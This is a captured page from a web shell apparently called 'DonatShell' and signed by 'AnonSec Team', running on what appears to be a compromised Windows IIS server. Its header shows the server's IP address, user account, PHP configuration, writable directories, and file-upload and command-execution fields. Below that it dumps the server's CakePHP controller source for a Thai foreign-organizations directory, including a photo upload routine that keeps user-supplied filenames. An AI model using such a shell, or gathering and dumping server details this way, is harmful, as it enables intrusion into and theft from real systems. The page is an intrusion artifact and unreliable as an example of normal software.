DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.194
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Controller/ForeignOrganizationsController.php_bk
<?php
App::uses('AppController', 'Controller');
App::uses('CakeTime', 'Utility');

class ForeignOrganizationsController extends AppController {

    public function beforeFilter() {
        parent::beforeFilter();
        $this->Auth->allow( array( 'index', 'view'));
    }

    /**
     * List Foreign organization in frontend
     *
     * @author Ting <3Muskettersteam@gmail.com>
     * @since 30 January 2014
     */
    public function index() {
        $condition = array();

        if ( !isset($this->params->query['status']) ) {
            $this->params->query['status'] = 1;
        }
        //Set condition for country
        if ( !empty($this->params->query['org_country']) ) {
            $conditions[] = array( 'ForeignOrganization.country_id' => (int)$this->params->query['org_country']);
        }
        //Set condition for name
        if ( isset($this->params->query['org_name']) ) {
            $keywordValue = sprintf('%%%s%%', $this->params->query['org_name']);
            $conditions[] = array( 'ForeignOrganization.name LIKE' =>  $keywordValue );
        }

        $conditions['ForeignOrganization.is_activated'] = array(1);

        $this->Paginator->settings['conditions'] = $conditions;
        $this->ForeignOrganization->recursive = 1;

        $this->set('foreignOrganizations', $this->Paginator->paginate());
        $this->set('countries', $this->ForeignOrganization->Country->find('list'));
        $this->set('topicTitle', __('เครือข่ายองค์กรต่างประเทศ'));
    }

    /**
     * View foreign organization detail.
     *
     * @author Ting <3Muskettersteam@gmail.com>
     * @since 31 January 2014
     */
    public function view( $id = null ) {
        if (  !$this->ForeignOrganization->exists($id) ) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายองค์กร'));
        }

        // build the url for the photos
        $photosUrl = 'foreign_organizations/' . $id;
        $this->set( 'photos_url', $photosUrl );

        $foreignOrganizations = $this->ForeignOrganization->findById($id);
        $this->set('foreignOrganizations', $foreignOrganizations);
        $this->set('topicTitle', __('เครือข่ายองค์กรต่างประเทศ'));

        if ( isset($this->params->ext) && $this->params->ext == 'pdf') {
            $this->_renderPdf($foreignOrganizations, '/ForeignOrganizations/pdf/view');
        }
    }

    /**
     * Show list of foreign organization with filters
     *
     * @author Ting <3Musketeteersteam@gmail.com>
     * @since 29 January 2014
     */
    public function admin_index() {
        $conditions = array();

        //Set status for query
        if ( !isset($this->params->query['status']) ) {
            $this->params->query['status'] = 1;
        }
        //Set condition for country
        if ( !empty($this->params->query['org_country']) ) {
            $conditions[] = array( 'ForeignOrganization.country_id' => (int)$this->params->query['org_country']);
        }
        //Set condition for name
        if ( isset($this->params->query['org_name']) ) {
            $keywordValue = sprintf('%%%s%%', $this->params->query['org_name']);
            $conditions[] = array( 'ForeignOrganization.name LIKE' =>  $keywordValue );
        }

        $conditions['ForeignOrganization.is_activated'] = array( ( int )$this->params->query['status']);

        $this->Paginator->settings['conditions'] = $conditions;
        $this->ForeignOrganization->recursive = 1;

        $this->set('foreignOrganizations', $this->Paginator->paginate());
        $this->set('countries', $this->ForeignOrganization->Country->find('list'));
        $this->set('topicTitle', __('เครือข่ายองค์กรต่างประเทศ'));
    }

    /**
     * Add foreign organization detail
     *
     * @author Ting <3musketeersteam@gmail.com>
     * @since 29 January 2014
     */
    public function admin_add() {

        if ( $this->request->is( 'post' ) ) {
            $this->ForeignOrganization->create();

            if ( !$this->ForeignOrganization->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถบันทึกข้อมูลองค์กรต่างประเทศได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                return;
            }

            try {
                $orgId = $this->ForeignOrganization->getLastInsertID();
                $this->__handleUploadPhoto( $orgId );
            } catch ( Exception $e ) {
                $this->Session->setFlash( $e->getMessage(), 'flash-fail' );
                return;
            }

            $this->Session->setFlash(__('บันทึกข้อมูลองค์กรต่างประเทศสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'admin_index', 'admin' => true));
        }

        // build the url for the photos
        // $photosUrl = 'foreign_organizations/' . $id;
        // $this->set( 'photos_url', $photosUrl );

        // $this->set('types', $this->ForeignOrganization->Type->find('list'));
        $this->set('countries', $this->ForeignOrganization->Country->find('list'));
        $this->set('topicTitle', __('เพิ่มเครือข่ายองค์กรต่างประเทศ'));
    }

    /**
     * Edit foreign organization
     *
     * @param  integer $id foreign organization id
     * @author Ting <3musketeersteam@gmail.com>
     * @since 29 January 2014
     */
    public function admin_edit( $id = null ) {
        //If not found any data.
        if ( !$this->ForeignOrganization->exists($id) ) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายองค์กรต่างประเทศ'));
        }

        if ( $this->request->is('post') || $this->request->is('put') ) {
            $this->ForeignOrganization->id = $id;

             if ( !$this->ForeignOrganization->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถบันทึกข้อมูลองค์กรต่างประเทศได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                $this->redirect(array('action' => 'index', 'admin' => true));
            }

            try {
                $this->__handleUploadPhoto( $id );
            } catch ( Exception $e ) {
                $this->Session->setFlash( $e->getMessage(), 'flash-fail' );
                return;
            }

            $this->Session->setFlash(__('บันทึกข้อมูลองค์กรต่างประเทศสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'index', 'admin' => true));
        }

        // build the url for the photos
        $photosUrl = 'foreign_organizations/' . $id;
        $this->set( 'photos_url', $photosUrl );

        //Get organization to edit.
        $conditions = array( 'conditions' => array( 'ForeignOrganization.' . $this->ForeignOrganization->primaryKey => $id ));
        $this->request->data = $this->ForeignOrganization->find('first', $conditions);

        $this->set('countries', $this->ForeignOrganization->Country->find('list'));
        $this->set('topicTitle', __('แก้ไขเครือข่ายองค์กรต่างประเทศ'));
    }

    /**
     * Set `activated` to 0 for deactivated foreign organziation.
     *
     * @author Ting <3Musketeersteam@gmail.com>
     * @since 29 January 2014
     */
    public function admin_delete( $id = null) {
        $this->ForeignOrganization->id = $id;

        if (!$this->ForeignOrganization->exists()) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายองค์กรต่างประเทศ'));
        }

        $this->request->onlyAllow('get', 'delete', 'post');

        if ( !$this->ForeignOrganization->delete() ) {
            $this->Session->setFlash(__('ไม่สามารปิดการใช้งานเครืองข่ายองค์กรต่างประเทศ'), 'flash-fail');
            return $this->redirect(array('action' => 'index', 'admin' => true));
        }

        $this->Session->setFlash(__('ปิดการใช้งานเครืองข่ายองค์กรต่างประเทศเรียบร้อยแล้ว'), 'flash-success');
        return $this->redirect(array('action' => 'index', 'admin' => true));
    }

    /*
     * @param  int $id organization's id
     * @author Ting <3Musketeersteam@gmail.com>
     * @since 27 January 2014
     */
    public function admin_active( $id = null ) {
        $this->ForeignOrganization->id = $id;

        if (!$this->ForeignOrganization->exists()) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายองค์กรต่างประเทศ'));
        }

        $this->request->onlyAllow('get', 'delete', 'post');

        if ($this->ForeignOrganization->activate()) {
            $this->Session->setFlash(__('เปิดใช้งานองค์กรต่างประเทศเรียบร้อยแล้ว'), 'flash-success');
        } else {
            $this->Session->setFlash(__('ไม่สามารถเปิดการใช้งานองค์กรต่างประเทศ'), 'flash-fail');
        }

        return $this->redirect(array('action' => 'index', 'admin' => true));
    }

    private function __handleUploadPhoto( $id ) {
        $destinationFolder = WWW_ROOT . 'img' . DS . 'foreign_organizations' . DS . $id . DS;

        // delete photo?
        if( isset( $this->request->data['ForeignOrganization']['delete_photo'] ) ) {

            foreach( $this->request->data['ForeignOrganization']['delete_photo'] as $delPhoto ) {
                $photoName = $this->ForeignOrganization->Photo->find( 'first', array(
                    'conditions' => array(
                        'id'    => $delPhoto,
                        'model' => 'foreign_organization',
                    ),
                    'fields' => array( 'id', 'name' ),
                ) );

                // delete file
                @unlink( $destinationFolder . $photoName['Photo']['name'] );
                // delete record from db
                $this->ForeignOrganization->Photo->delete( $photoName['Photo']['id'] );
            }
        }

        // is there a new photo to upload?
        if( $this->request->data['ForeignOrganization']['photo']['error'] == UPLOAD_ERR_OK ) {

            $filePhoto = $this->request->data['ForeignOrganization']['photo'];
            $type = @getimagesize( $filePhoto['tmp_name'] );
            $newName = $filePhoto['name'];

            if( ( $type == false ) ||  !in_array( $type[2], Configure::read( 'image_types_allowed' ) ) ) {
                throw new Exception( __( 'the type of the image is not allowed.' ) );
            }

            // does the destination folder exist?
            if( !file_exists( $destinationFolder ) && !is_dir( $destinationFolder ) ) {
                mkdir( $destinationFolder, 0755, true );
            }

            if( !is_uploaded_file( $filePhoto['tmp_name'] ) || !move_uploaded_file( $filePhoto['tmp_name'], $destinationFolder . $newName ) ) {
                throw new Exception( __( 'the system cannot access your uploaded file.' ) );
            }

            // Delete existing photo from db and File system
            $existingPhoto = $this->ForeignOrganization->Photo->find( 'first', array(
                'conditions' => array(
                    'model' => 'foreign_organization',
                    'fk_id' => $id,
                ),
                'recursive' => -1
            ) );

            if( !empty( $existingPhoto ) ) {
                // delete old photo if different name (otherwise it should have been overwritten by `move_uploaded` function)
                if( $newName != $existingPhoto['Photo']['name'] ) {
                    @unlink( $destinationFolder . $existingPhoto['Photo']['name'] );
                }
                $this->ForeignOrganization->Photo->delete( $existingPhoto['Photo']['id'] );
            }

            $this->ForeignOrganization->Photo->create();
            $this->ForeignOrganization->Photo->save( array(
                'fk_id' => $id,
                'model' => 'foreign_organization',
                'name'  => $newName,
            ) );

        } // if photo uploaded

    } // __handleUploadPhoto

    public function admin_export() {
        Configure::write('debug',0); // just in case

        $this->autoRender = false; // thanks, but no.

        $modelName = $this->modelClass;
        $conditions = array();
        $joins = array();
        // $this->__getCommonConditions($conditions, $joins);

        // Find fields needed without recursing through associated models
        $data = $this->{$modelName}->find('all',
            array(
                'conditions' => $conditions,
                'joins' => $joins,
                'order' => $modelName . '.id ASC',
                'recursive' => 1
        ));

        // Define column headers for CSV file, in same array format as the data itself
        $headers = array(
            $modelName => array(
                'id' => __('รหัส'),
                'name' => __('ชื่อองค์กร'),
                'eng_name' => __('ชื่อองค์กรภาษาอังกฤษ'),
                'short_name' => __('ชื่อย่อองค์กร'),
                'eng_short_name' => __('ชื่อย่อองค์กรภาษาอังกฤษ'),
                'fax' => __('โทรสาร'),
                'email' => __('อีเมล์องค์กร'),
                'url' => __('เว็บไซต์'),
                'telephone1' => __('หมายเลขโทรศัพท์ 1'),
                'telephone2' => __('หมายเลขโทรศัพท์ 2'),
                'founded' => __('วันที่ก่อตั้ง'),
                'joined' => __('วันที่เริ่มเป็นสมาชิก'),
                'address' => __('ที่อยู่'),
                'country' => __('ประเทศ'),
                'comment' => __('หมายเหตุ'),
                'portfolio' => __('ผลงานที่ผ่านมา'),
                'description' => __('ประวัติโดยย่อ'),
                'target' => __('กลุ่มเป้าหมาย'),
                'contact' => __('ผู้ติดต่อ'),
                'work_area' => __('พื้นที่การทำงาน'),
                'created' => __('วันที่เพิ่มข้อมูล'),
                'modified' => __('แก้ไขล่าสุด')
            )
        );

        foreach ( $data as &$d ) {
            $d = array(
                $modelName => array(
                    'id' => $d[$modelName]['id'],
                    'name' => $d[$modelName]['name'],
                    'eng_name' => $d[$modelName]['name'],
                    'short_name' => $d[$modelName]['short_name'],
                    'eng_short_name' => $d[$modelName]['eng_short_name'],
                    'fax' => $d[$modelName]['fax'],
                    'email' => $d[$modelName]['email'],
                    'url' => $d[$modelName]['url'],
                    'telephone1' => $d[$modelName]['telephone1'],
                    'telephone2' => $d[$modelName]['telephone2'],
                    'founded' => $d[$modelName]['founded'],
                    'joined' => $d[$modelName]['joined'],
                    'address' => $d[$modelName]['address'],
                    'country' => $d['Country']['nicename'],
                    'comment' => $d[$modelName]['comment'],
                    'portfolio' => $d[$modelName]['portfolio'],
                    'description' => $d[$modelName]['description'],
                    'targe' => $d[$modelName]['target'],
                    'contact' => $d[$modelName]['contact'],
                    'work_area' => $d[$modelName]['work_area'],
                    'created' => $d[$modelName]['created'],
                    'modified' => $d[$modelName]['modified']
                )
            );
        }
        $this->set('model', $modelName);

        if ( $this->request->params['ext'] == 'csv' ) {
            // Add headers to start of data array
            array_unshift($data, $headers);
            // Make the data available to the view (and the resulting CSV file)
            $this->set(compact('data'));
            $this->render('/Elements/csv/admin_export', false);
        } else {
            $this->set('topicTitle', __('เครือข่ายองค์กรต่างประเทศ'));
            $this->_renderPdf($data, 'admin_export');
        }
    }

}

Anon7 - 2022
AnonSec Team